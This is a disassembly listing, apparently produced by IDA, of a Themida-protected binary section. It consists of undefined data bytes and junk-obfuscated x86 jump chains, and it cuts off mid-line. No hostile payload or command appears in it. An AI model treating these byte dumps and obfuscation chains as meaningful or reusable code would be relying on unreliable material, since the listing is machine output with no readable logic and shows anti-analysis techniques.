0E9243C33h, 0FFFF4638h dd 5B66DC30h, 805FB652h, 0A3E9F8EEh, 81FFFF3Ah, 0ECF1E7F2h dd 8BD329D1h, 0E8E92414h, 1FFFF47h, 0F7E958C3h db 83h, 2 dup(0) aM0Hx db '╛0ьh∙<',0 ; DATA XREF: Themida_:0055134Co dw 8900h dd 0EC812414h, 4, 0B4240489h, 4EC8125h, 89000000h, 0E3E9240Ch dd 68FFFFEAh, 15C9h, 0FFA877E9h, 1013BEFFh, 0CE013E84h dd 71C68159h, 0C1466928h, 0EEC103E6h, 0A038E904h, 0FD2CFFFFh dd 4F8005Ah, 0E95B6672h, 8495h ; --------------------------------------------------------------------------- loc_55E374: ; CODE XREF: Themida_:00553A70j push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 add ebx, edi push eax add dword ptr [esp], 51F31795h pop dword ptr [ebx] sub dword ptr [ebx], 51F31795h jmp loc_55E1D6 ; --------------------------------------------------------------------------- dw 59h dd 0E9392CC8h, 0FFFF99A0h, 8245429h, 8324148Bh, 0E6E904C4h dd 5FFFFCBh, 5D3C791Fh, 81242C8Bh, 4C4h, 0A744E900h db 2 dup(0FFh) word_55E3C6 dw 8B66h ; DATA XREF: Themida_:00551224o dd 2F68240Ch, 89000074h, 0E0892404h, 61FBBE56h, 0C68132E4h dd 7B82537Ah, 0B571EE81h, 0F001AE66h, 0FFA763E9h, 1C8B66FFh dd 2C48124h, 51000000h, 41FA68h, 24248900h, 4240481h, 8B000000h dd 8951240Ch, 4C181E1h, 0E9000000h, 30DAh ; --------------------------------------------------------------------------- loc_55E418: ; CODE XREF: Themida_:0056089Dj add esp, 4 push eax mov eax, 6D377E00h add eax, 450277CEh sub eax, 7FE30F14h or eax, 44FD7A8Dh sub eax, 7232ED76h sub esi, eax jmp loc_5542FD ; --------------------------------------------------------------------------- db 81h dd 4ECh, 30D5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E44A: ; CODE XREF: Themida_:00554780j pop esi and eax, edx mov edx, [esp] add esp, 4 jmp loc_560D2D ; --------------------------------------------------------------------------- loc_55E458: ; CODE XREF: Themida_:00561208j push 2E06h jmp loc_563579 ; --------------------------------------------------------------------------- dw 0BA52h dd 0F9F68B3h, 315AD331h, 0DDF75BDDh, 0FFF50DE9h, 4C483FFh dd 4EC81h, 1C890000h, 4BF5724h, 0BB502B07h, 405C0B9Dh dd 295FFB31h, 0C7815BDFh, 0C2805F46h, 34FFFA29h, 0C4815F24h dd 4, 0FFDD01E9h, 148966FFh, 4EC8324h, 51240489h, 2EB0E4B5h dd 0FF833EE9h, 0DA895DFFh, 6A19E9h db 0 ; --------------------------------------------------------------------------- loc_55E4C5: ; CODE XREF: Themida_:0056392Cj pop ecx add ecx, 4 push esi jmp loc_55F8F8 ; --------------------------------------------------------------------------- word_55E4D2 dw 81ACh ; DATA XREF: Themida_:00551404o dd 2ECh, 14896600h, 0C01BB624h, 0E6C003E6h, 0B5C68002h dd 0F000572Ch, 32E5E9h, 0F7570500h, 0B8E9DA6Dh, 89FFFF63h dd 40682404h, 89000039h, 0E9512424h, 140Fh, 0C281D2F7h dd 61D3784Ch, 293E9h, 0B60F6600h, 9C5166C8h, 0FF2FC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E525: ; CODE XREF: Themida_:0055DE37j add ebp, eax mov eax, [esp] add esp, 4 mov esi, ebp mov ebp, [esp] push edi jmp loc_55342F ; --------------------------------------------------------------------------- dd 55565A66h, 0FFD2CAE9h, 2BD55FFh, 1000000h, 242C8BE8h dd 8104C483h, 4ECh, 24048900h, 42474FFh, 8124048Bh, 4C4h dd 8BEEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E56A: ; CODE XREF: Themida_:005577C5j add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 add esi, 4 jmp loc_55B77C ; --------------------------------------------------------------------------- dw 8B66h dd 8957241Ch, 4C781E7h, 0E9000000h, 0FFFFDD3Bh ; --------------------------------------------------------------------------- loc_55E598: ; CODE XREF: Themida_:005562ACj sub ebp, eax pop eax push ebp jmp loc_5619DD ; --------------------------------------------------------------------------- dd offset dword_59EA28 db 0D0h, 0E9h, 0F4h dd 0F7FFFF80h, 9C281DAh, 0E9597A22h, 0FFFF4C80h, 4EC835Dh dd 56241489h, 9E36A868h, 24348B23h, 5A4468h, 24348900h dd 0E957E689h, 3DF8h ; --------------------------------------------------------------------------- loc_55E5D8: ; CODE XREF: Themida_:00561769j xor eax, ecx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop edi push edx jmp loc_555EBB ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFF2FD9h, 3EAC166h, 45EA8166h, 0F2816667h, 896663B2h dd 1665AD1h, 0E95966CFh, 0DEh ; --------------------------------------------------------------------------- loc_55E610: ; CODE XREF: Themida_:00551DD4j push 410Eh mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_561761 ; --------------------------------------------------------------------------- loc_55E635: ; CODE XREF: Themida_:0055A3BCj mov ebx, [esp] jmp loc_55B08A ; --------------------------------------------------------------------------- loc_55E63D: ; CODE XREF: Themida_:0055DE4Aj xor ebx, ebp pop ebp push ebx jmp loc_5571CF ; --------------------------------------------------------------------------- word_55E646 dw 8B66h ; DATA XREF: Themida_:00551258o dd 90682404h, 0E9000078h, 0FFFF49CFh, 57E9D5F6h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E65B: ; CODE XREF: Themida_:00562E8Bj pop ebp shr esi, 1 add esi, 0C737DBAFh add eax, esi push dword ptr [esp] jmp loc_55571A ; --------------------------------------------------------------------------- dw 0FE01h dd 184AC681h, 68515BEDh, 12216F98h, 0DEE0E959h, 0E95BFFFFh dd 4353h, 0E30062B4h, 0EC835866h, 240C8904h, 0EC83C588h dd 241C8904h, 88505350h, 58E788ECh, 525BF888h, 0A568C288h dd 8900007Ch, 0D4882404h, 0B3E9E788h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E6BB: ; CODE XREF: Themida_:00559769j pop ebx pop eax push edi push esi push 190D786Dh mov esi, [esp] add esp, 4 shr esi, 4 neg esi push eax mov eax, 92C031D2h xor esi, eax pop eax mov edi, esi mov esi, [esp] push 1E3Eh mov [esp], ebx push esp jmp loc_56383F ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 66240C89h, 6603FFB9h, 818FE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E702: ; CODE XREF: Themida_:00557246j jz loc_5583CF push dword ptr [edi+28h] sub esp, 4 jmp loc_55174E ; --------------------------------------------------------------------------- loc_55E716: ; CODE XREF: Themida_:00555986j pop ebp pop edx add eax, ebx push dword ptr [esp] pop ebx add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_551AD6 ; --------------------------------------------------------------------------- dd 56E98159h, 564BC371h, 2A73AC68h, 24348B7Eh, 8304C483h dd 0C14601EEh, 0EE8104E6h, 834CADCAh, 815EF131h, 0C31897EDh dd 4DDFE977h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E75A: ; CODE XREF: Themida_:00562108j pop ebx push ecx mov ecx, esp jmp loc_556AA8 ; --------------------------------------------------------------------------- loc_55E763: ; CODE XREF: Themida_:005609D9j mov [esp], eax push 323Ah mov [esp], edi jmp loc_552EAA ; --------------------------------------------------------------------------- loc_55E773: ; CODE XREF: Themida_:0055B79Ej mov [esp], esi push ebx mov ebx, esp jmp loc_55C794 ; --------------------------------------------------------------------------- dw 4DB3h dd 0E907EBC0h, 0FFFF92BCh, 36E5CE81h, 0F7566755h, 0E95E2414h dd 0FFFF48EFh, 3E7B951h, 0CA296B70h, 36C28159h, 0E9154CCEh dd 2932h, 8904EC83h, 78BF243Ch, 816ECD3Ch, 0DF346ECFh dd 97C78117h, 81E124C4h, 8F0D84C2h, 81FA2955h, 8F0D84EAh dd 8D5AE955h, 15BFFFFh, 5B04245Ch, 8124048Bh, 4C4h, 4D47E900h dd 0EBC1FFFFh, 0C1E3D102h, 814304EBh, 0E4AF97F3h, 57D0E9FBh dd 3C330000h, 243C3124h, 5C243C33h, 0BE243489h, 706E7CB7h dd 24E9F229h, 59FFFF5Bh, 0FFAB85E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E81D: ; CODE XREF: Themida_:00561FFEj pop ebx sub eax, edi pop edi push eax push dword ptr [esp+4] pop eax jmp loc_562B89 ; --------------------------------------------------------------------------- dd 8704C783h, 15C243Ch, 0EC815DE8h, 4, 3766E9h db 0 ; --------------------------------------------------------------------------- loc_55E841: ; CODE XREF: Themida_:0055F156j pop ecx mov ebx, esi push dword ptr [esp] pop esi jmp loc_5574B3 ; --------------------------------------------------------------------------- db 0BDh, 0C9h, 0B0h dd 6DE92EF8h, 81FFFF54h, 142D06C5h, 8BC58140h, 0E9BFEAADh dd 0FFFF4E47h ; --------------------------------------------------------------------------- loc_55E868: ; CODE XREF: Themida_:00552D95j mov [esp], ecx mov cl, 0FFh add bl, 0E0h sub bl, 22h sub bl, 0CAh sub bl, cl add bl, 0CAh push ecx mov ch, 22h add bl, ch pop ecx jmp loc_556B78 ; --------------------------------------------------------------------------- dw 0F731h dd 0EB50E95Eh, 0EEC1FFFFh, 0DEE95604h, 58FFFFF2h, 464CE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E89E: ; CODE XREF: Themida_:00561EF1j sub eax, 367A394Ah jmp loc_553954 ; --------------------------------------------------------------------------- dd 5B2434FFh, 2D28E9h, 78D9B800h, 25404C64h, 53E5050Fh dd 0FFD029E9h, 19BF57FFh, 68669136h, 73E8h, 0BE243489h dd 66913619h, 52F7EF81h, 0F72967C7h, 52F7C781h, 835E67C7h dd 3C8904ECh, 24048124h, 7096354h, 0FFCD0DE9h, 7EBC1FFh dd 1905E9h, 16E95600h, 87FFFF81h, 0CCE92434h, 53FFFFE8h dd 0FF5E9CE9h, 1CB753FFh, 2EE9DFF6h, 52FFFFA9h, 24148B5Eh dd 50D2E9h, 3E26800h, 0C890000h, 34E95424h, 89FFFFADh dd 33682414h, 8900003Ch, 50562424h, 2D281568h, 0E8E9586Ah dd 5DFFFF81h, 43E95658h, 53FFFF2Ch, 0FF79F8E9h, 585450FFh dd 0FFF47EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E961: ; CODE XREF: Themida_:00553445j add esp, 4 jmp loc_56300D ; --------------------------------------------------------------------------- dd 0F77152B8h, 3E8C17Fh, 417CA35h, 78E4052Ah, 0C0354C68h dd 1726372h, 0BE958C1h, 81000047h, 4EFh, 0FE68E900h, 0C681FFFFh dd 3F8C67C5h, 6B4CC681h, 34FF780Fh, 0C4835F24h, 3709E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E9AE: ; CODE XREF: Themida_:00560EF7j sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], eax push edi push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi mov edi, esp jmp loc_56534B ; --------------------------------------------------------------------------- loc_55E9D8: ; CODE XREF: Themida_:0056037Fj push ebx jmp loc_55E1B3 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFFFD9Ah ; --------------------------------------------------------------------------- loc_55E9E4: ; CODE XREF: Themida_:0055F137j push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_553EEC ; --------------------------------------------------------------------------- dd 0B8240489h, 2, 27B9E981h, 66E91ED5h, 0B8FFFF3Fh, 288C778Dh dd 91E9C801h, 5FFFFFD0h, 4C381h, 0FF530000h, 8B042474h dd 0C483241Ch, 24048F04h, 8124248Bh, 4ECh, 240C8900h, 54EA6866h dd 0FFF216E9h, 1EFBBEFFh, 0F701422Ch, 73C7815Eh, 8B79D50Ch dd 0C481240Ch, 4, 0FFE4B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA61: ; CODE XREF: Themida_:00565336j shl edi, 5 push edx push ebx mov ebx, 3CDE6D2Ah mov edx, 24A0AFA0h add edx, 56C3575Fh add edx, ebx sub edx, 56C3575Fh jmp loc_561FDB ; --------------------------------------------------------------------------- loc_55EA83: ; CODE XREF: Themida_:0056675Aj pop ebx sub ebp, 2E510717h add ebp, ecx jmp loc_56145C ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 33241431h, 248B2414h, 48B6624h, 4C356824h, 3C890000h dd 3C8B5424h, 2ED0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EAB2: ; CODE XREF: Themida_:005599DBj pop ebx jmp loc_565FBD ; --------------------------------------------------------------------------- dd 103FB52Dh, 5E8294Ah, 4A103FB5h, 0F25B1105h, 34962D6Eh dd 0D9E91523h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EAD3: ; CODE XREF: Themida_:00566B20j add ebp, esi mov esi, [esp] push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_55B1A3 ; --------------------------------------------------------------------------- db 0B5h, 7Dh, 80h dd 0C5805DCDh, 59EB8870h, 0FE0FE380h, 0C0DBF6C3h, 25E906E3h dd 0BEFFFF4Eh, 7182214Bh, 815EF329h, 4603C4C3h, 81C3296Ch dd 4603C4EBh, 4BC3816Ch, 81718221h, 0E818B8EBh, 4EC8302h dd 0FF29DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EB2D: ; CODE XREF: Themida_:005570B9j pop edi mov ecx, [esp] add esp, 4 jmp loc_5581A9 ; --------------------------------------------------------------------------- loc_55EB3C: ; CODE XREF: Themida_:00552F72j shl edx, 1 push dword ptr [edi+24h] jmp loc_562871 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 2474FF53h, 48F5B04h, 24248B24h, 4EC81h, 1C890000h dd 0BB24h, 0C3810000h, 2A544C3Ah, 4304EB81h, 0C3813923h dd 1A5E305Eh, 0EB81C301h, 1A5E305Eh, 2FBE9h, 19E95000h dd 59FFFF47h, 4855E9h, 5EF00100h, 0E52DD801h, 57646262h dd 32B4E9h db 0 ; --------------------------------------------------------------------------- loc_55EBA1: ; CODE XREF: Themida_:005548A4j mov ebp, 2C3F29D2h jmp loc_565929 ; --------------------------------------------------------------------------- db 35h dd 0CEAAF3FAh, 3158C789h, 1E95DEFh, 0FF00004Fh, 685A2434h dd 5B90h, 0FFC691E9h, 0CE815FFFh, 0F05587Fh, 0E946D6F7h dd 230Bh ; --------------------------------------------------------------------------- loc_55EBD8: ; CODE XREF: Themida_:00561236j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_557F15 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38100h, 87000000h, 0C15C241Ch, 1E6804E9h, 89000033h dd 0B6BF243Ch, 0E92B0133h, 576Bh, 0C05BB753h, 0F78004E7h dd 0A6F78067h, 0F65BFA88h, 5E2BE9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC26: ; CODE XREF: Themida_:00554C9Fj shr edx, 1 cmp eax, edx jz loc_56444E sub esp, 4 mov [esp], edx mov edx, 66390E3Ch push eax mov eax, 6D541531h not eax or eax, 45DD14B3h sub eax, 19295502h xor eax, 8EAE15D3h push edi mov edi, 533970C5h sub edx, edi jmp loc_56689D ; --------------------------------------------------------------------------- db 5Dh dd 0FFB75CE9h, 69685AFFh, 8900007Ah, 0EC832414h, 24248904h dd 4240481h, 5A000000h, 4C281h, 4BE90000h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC87: ; CODE XREF: Themida_:00557DDCj sub esp, 4 mov [esp], esi jmp loc_56227D ; --------------------------------------------------------------------------- loc_55EC92: ; CODE XREF: Themida_:00563647j add esp, 4 push 7D62h mov [esp], eax push esi push 1F030689h jmp loc_561C17 ; --------------------------------------------------------------------------- loc_55ECA8: ; CODE XREF: Themida_:00551EE2j mov [esp], edi push dword ptr [esp+4] jmp loc_55FD9F ; --------------------------------------------------------------------------- loc_55ECB4: ; CODE XREF: Themida_:00565CBDj mov ebx, esp jmp loc_5650AB ; --------------------------------------------------------------------------- aSpu db ')ъИpU',0 align 2 dw 37B3h dd 5B66DD30h, 5259EC30h, 0E2C0F5B2h, 0ACA8002h, 8032F280h dd 0EA80A9E2h, 5AD30016h, 0AF68E328h, 8900001Dh, 52B62414h dd 24E9C6FEh, 81FFFFDFh, 0AED08EDh, 0C293E924h, 5558FFFFh dd 0FFC369E9h, 4BFFFh, 0FB010000h, 4BF575Fh, 81000000h dd 7F1970C3h, 0E9FB0108h, 0FFFF72D9h, 639F685Ah, 1C890000h dd 2474FF24h, 241C8B04h, 81E38953h, 4C3h, 114E900h, 0E1810000h dd 4C934F6Ah, 72EBE181h, 0D9F77F3Eh, 48FAE950h, 815AFFFFh dd 0C32F16F1h, 0E9C8016Fh, 42DAh, 5AF32859h, 0E9C0B60Fh dd 1913h, 0A66AFAB9h, 81D9F770h, 0EB1F3EE1h, 372AE962h dd 0B60F0000h, 8734FFC0h, 0FF544AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55ED89: ; CODE XREF: Themida_:005652C8j mov [esp], ebx jmp loc_5658A2 ; --------------------------------------------------------------------------- db 66h, 5Fh, 66h dd 3566D0F7h, 2CE926AFh, 0B0FFFFE2h, 0C3885336h, 8B5BDD88h dd 0E6E92404h, 5DFFFFA1h, 0BB665366h, 0D2E9C86Ch db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDBB: ; CODE XREF: Themida_:0055FB0Ej push esp pop ebp push edx mov edx, 4 add ebp, edx pop edx sub esp, 4 mov [esp], edx jmp loc_55A010 ; --------------------------------------------------------------------------- db 89h, 14h, 24h aKKSD db '╨K',1Bh,'K<И',9,'d',0 align 2 dw 0BEBAh dd 8913A701h, 24E95AD1h, 0FFFFFFFCh, 5BE92434h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDF3: ; CODE XREF: Themida_:0055AFC8j add edx, 6C3B7F65h pop edi jmp loc_559190 ; --------------------------------------------------------------------------- loc_55EDFF: ; CODE XREF: Themida_:00560A6Aj add edi, 4 push ebp mov ebp, 366A707Dh jmp loc_5589B8 ; --------------------------------------------------------------------------- loc_55EE10: ; CODE XREF: Themida_:0055CF98j mov ebp, 4 add ebx, 2D9F3429h jmp loc_562E90 ; --------------------------------------------------------------------------- dd 28FF6850h, 14890000h, 3B9D6824h, 0D0E90000h db 47h, 2 dup(0FFh) byte_55EE33 db 0ACh ; DATA XREF: Themida_:005512CCo dd 8904EC83h, 0E954241Ch, 26A1h, 0D9E94FB0h, 80000024h dd 0EF8006C7h, 34C0E903h, 0C383FFFFh, 435FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE5A: ; CODE XREF: Themida_:0055A240j mov ebx, [esp] push eax jmp loc_554C3C ; --------------------------------------------------------------------------- loc_55EE63: ; CODE XREF: Themida_:00551664j mov ebp, ecx pop ecx add ebp, 65302EDBh add ebp, 0FFFFFFFFh jmp loc_556297 ; --------------------------------------------------------------------------- db 0B4h dd 0E9E200C3h, 0FFFF4E1Dh, 4304B850h, 0C3813923h, 15785E1Bh dd 0EB81C301h, 15785E1Bh, 0D837E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE9A: ; CODE XREF: Themida_:0055793Aj pop ebp add ecx, 3A38B073h jmp loc_5586FD ; --------------------------------------------------------------------------- dw 8142h dd 0D02410F2h, 5AD50104h, 0E94DEDD1h, 0FFFFB5E1h ; --------------------------------------------------------------------------- loc_55EEB8: ; CODE XREF: Themida_:0055FB31j add esp, 4 add ecx, 0FFFFFFFFh shr ecx, 3 push esi jmp loc_559E1F ; --------------------------------------------------------------------------- loc_55EECA: ; CODE XREF: Themida_:0056265Bj mov esp, [esp] push esi push 2000h pop esi jmp loc_56001A ; --------------------------------------------------------------------------- loc_55EED9: ; CODE XREF: Themida_:0055DA49j mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax xchg eax, ecx push ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5565D1 ; --------------------------------------------------------------------------- dd 4B95157h, 89000000h, 0FD0159CFh, 242C875Fh, 5086E95Ch dd 55AFFFFh, 20D079F5h, 0F52DD001h, 520D079h, 1889018Bh dd 0FFB8A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF25: ; CODE XREF: Themida_:005595B4j add esp, 4 push ebp mov ebp, 4 sub esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edx push eax pushf jmp loc_5514EB ; --------------------------------------------------------------------------- dd 4F43BB53h, 0D8317829h, 44EA815Bh, 15E5556h, 44C281C2h dd 8B5E5556h, 0C4812404h, 4, 0FFB914E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF6D: ; CODE XREF: Themida_:005619C7j mov [esp], edx push edi jmp loc_553150 ; --------------------------------------------------------------------------- dw 0B3B8h dd 310C8E3Eh, 24048BC2h, 2A93E9h, 1C4F0900h, 0E92434FFh dd 0FFFFBDB6h, 0BA241489h, 75CB69F2h, 3E3BBE56h, 0E6C1205Ch dd 1EE8306h, 8E1DEE81h, 0F229EBB0h, 0E924348Bh, 5992h ; --------------------------------------------------------------------------- loc_55EFB4: ; CODE XREF: Themida_:005571FDj mov ebp, 4 add edi, ebp pop ebp jmp loc_55C0B1 ; --------------------------------------------------------------------------- loc_55EFC1: ; CODE XREF: Themida_:00557044j pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_5514EB ; --------------------------------------------------------------------------- loc_55EFD8: ; CODE XREF: Themida_:00557616j shr ecx, 3 xor ecx, 63C408C3h mov edx, ecx pop ecx shr edx, 5 jmp loc_561E13 ; --------------------------------------------------------------------------- dd 3C26C581h, 0ED814243h, 7E6103BAh, 0FF7534E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EFFD: ; CODE XREF: Themida_:00554023j add esp, 4 sub ecx, 3A7A6DF7h and ecx, 65D442EEh and ecx, 7B9963FAh push ebx mov ebx, 2FC30F26h shr ebx, 8 sub ebx, 0C75B7703h jmp loc_56613F ; --------------------------------------------------------------------------- loc_55F029: ; CODE XREF: Themida_:0055CD2Ej push 4BEEh mov [esp], esp add dword ptr [esp], 4 pop eax push edi jmp loc_55D59C ; --------------------------------------------------------------------------- loc_55F03F: ; CODE XREF: Themida_:005585AAj xchg esi, ebx shr ebx, 5 jmp loc_5542DE ; --------------------------------------------------------------------------- byte_55F049 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055144Co aS_7 db '$И=[',0 align 2 loc_55F052: ; CODE XREF: Themida_:0055B53Fj mov [esp], eax mov eax, 1BA11229h jmp loc_551C78 ; --------------------------------------------------------------------------- loc_55F05F: ; CODE XREF: Themida_:0055CD6Dj sub eax, edx jmp loc_553138 ; --------------------------------------------------------------------------- loc_55F066: ; CODE XREF: Themida_:0055865Cj mov ebp, 4 add eax, 3226622h add eax, ebp push ebx push edx jmp loc_561038 ; --------------------------------------------------------------------------- db 81h, 0C2h, 51h dd 8147A414h, 0DF6057C2h, 0DA015924h, 468FB850h, 0C2015B18h dd 2434FF58h, 4EC815Bh, 89000000h, 0E389241Ch, 0A40E9h dd 2EC8300h, 24048966h, 0F2E9ADB0h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F0B3: ; CODE XREF: Themida_:005609A7j push 4EE569EAh pop ebp xor ebx, ebp jmp loc_56106A ; --------------------------------------------------------------------------- dword_55F0C0 dd 8B1C77FFh, 0EC832404h, 242C8904h, 5552E589h, 195CD6BDh ; DATA XREF: Themida_:00551448o dd 0C5814D5Ch, 285A3BDCh, 8102EDC1h, 6F0AC1EDh, 0B5CD815Fh dd 81011763h, 400405C5h, 5DEA893Eh, 48F7ED81h, 0C58109DAh dd 49106D04h, 0FF3BEEE9h, 0CF895BFFh, 17F78159h, 1D058B1h dd 58535FFBh, 0E9241C8Bh, 4056h, 8924248Bh, 4832424h, 0C8B0424h dd 4C48124h, 0E9000000h, 0FFFF886Bh ; --------------------------------------------------------------------------- loc_55F134: ; CODE XREF: Themida_:00565F3Aj pop eax add edi, esi jmp loc_55E9E4 ; --------------------------------------------------------------------------- dd 0E95FFD89h, 0FFFFE69Fh ; --------------------------------------------------------------------------- loc_55F144: ; CODE XREF: Themida_:00552587j inc ecx add ecx, 239E722Eh shl ecx, 1 dec ecx add ecx, 0A619EFD1h mov esi, ecx jmp loc_55E841 ; --------------------------------------------------------------------------- loc_55F15B: ; CODE XREF: Themida_:00551943j push dword ptr [esp] pop ecx add esp, 4 push 31B0h mov [esp], ecx push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 pop ecx push ebx push eax push 51231820h pop eax jmp loc_553246 ; --------------------------------------------------------------------------- loc_55F19C: ; CODE XREF: Themida_:00556D79j mov esi, esp add esi, 4 push eax mov eax, 440F77E7h shr eax, 2 neg eax xor eax, 53C77030h jmp loc_551D7D ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4EAh, 24143300h, 0FFCE09E9h, 68F329FFh, 6202h dd 0BA241489h, 2BC73FAEh, 148BD329h, 0C822E924h, 148BFFFFh dd 4C48324h, 0D75E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F1F2: ; CODE XREF: Themida_:00555B9Aj pop edx pop ecx jmp loc_556C1F ; --------------------------------------------------------------------------- loc_55F1F9: ; CODE XREF: Themida_:0055DE2Dj pop esp push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55FC91 ; --------------------------------------------------------------------------- db 8Bh dd 3CE92424h, 0C1FFFF9Eh, 9BE908EDh db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F21F: ; CODE XREF: Themida_:00557E43j push ecx jmp loc_5515C7 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 0DBFEE900h, 575BFFFFh, 0FFE199E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F239: ; CODE XREF: Themida_:0055C33Cj xor esi, ecx jmp loc_565831 ; --------------------------------------------------------------------------- dd 621968h, 24048900h, 892BEEB8h, 0D2BE5660h, 216A8443h dd 24348BF0h, 4C481h, 0C4E90000h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F263: ; CODE XREF: Themida_:005557EAj sub edx, 7D8D3014h add edx, 8B204D44h jmp loc_55E0B4 ; --------------------------------------------------------------------------- loc_55F274: ; CODE XREF: Themida_:00560254j add esi, 4 xchg esi, [esp] pop esp sub ecx, 0FFFFFFFFh jmp loc_556F80 ; --------------------------------------------------------------------------- db 68h dd 268Ah, 0E9243C89h, 0FFFF8C98h dword_55F290 dd 6824048Bh, 5F9h, 54241C89h, 81241C8Bh, 4C4h, 0C34DE900h ; DATA XREF: Themida_:005513C4o dd 0EC81FFFFh, 4, 476068h, 2B1FE900h, 5E68FFFFh, 8900002Ah dd 0D3E9240Ch db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F2C7: ; CODE XREF: Themida_:00559D56j mov [esp], edi jmp loc_55F669 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 241C8B00h, 4C481h, 0C3810000h, 4, 0DEBE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F2EE: ; CODE XREF: Themida_:0055A030j push ecx push ebx mov ebx, 73D68CDh jmp loc_5619FE ; --------------------------------------------------------------------------- loc_55F2FA: ; CODE XREF: Themida_:0055CC91j mov eax, 420706C5h or ebp, eax jmp loc_55D24F ; --------------------------------------------------------------------------- dw 0BA52h dd 65480AE4h, 4245431h, 67BFE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F316: ; CODE XREF: Themida_:00551CD8j pop esp jmp loc_564074 ; --------------------------------------------------------------------------- dd 0C7815F54h, 4, 5704C783h, 42474FFh, 5F2434FFh, 1F3668h dd 241C8900h, 0C381E389h, 4, 0FFB6B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F345: ; CODE XREF: Themida_:0056615Dj mov esi, 3FC86DFBh jmp loc_5667F6 ; --------------------------------------------------------------------------- loc_55F34F: ; CODE XREF: Themida_:00560DA1j sub ebx, 49842EF8h sub ebx, 6EFC045Ch sub ebx, 0BA7BDA7Bh mov edx, ebx pop ebx add edx, ebx push ebx jmp loc_561FC1 ; --------------------------------------------------------------------------- loc_55F36C: ; CODE XREF: Themida_:0055608Aj shl esi, 1 xor esi, 964AFBF9h or ecx, esi pop esi push edi mov edi, 66195223h sub ecx, edi pop edi jmp loc_552A83 ; --------------------------------------------------------------------------- db 59h, 81h, 0E9h dd 14355044h, 22BE565Bh, 29657C15h, 728AE9F1h, 0F529FFFFh dd 0E924348Bh, 68C2h dword_55F3A4 dd 24048B66h, 0D1468h, 240C8900h, 0C181E189h, 4, 6FEEE9h ; DATA XREF: Themida_:005512C8o dd 2474FF00h, 60E95804h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F3C7: ; CODE XREF: Themida_:00556C89j or edx, eax shl edx, 1 push edx mov edx, 24h add edx, edi xor [edx], ebx pop edx jmp loc_560F9C ; --------------------------------------------------------------------------- db 8Bh dd 0E950240Ch, 0FFFF9C62h dword_55F3E4 dd 8452E952h, 0C483FFFFh, 0B85DE904h, 8805FFFFh, 8B213210h ; DATA XREF: Themida_:005513DCo dd 0C483243Ch, 0DD4DE904h db 2 dup(0FFh) word_55F402 dw 52ACh ; DATA XREF: Themida_:00551364o dd 0E6C0E4B6h, 30EE3004h, 0F6EE30F5h, 80EE86D5h, 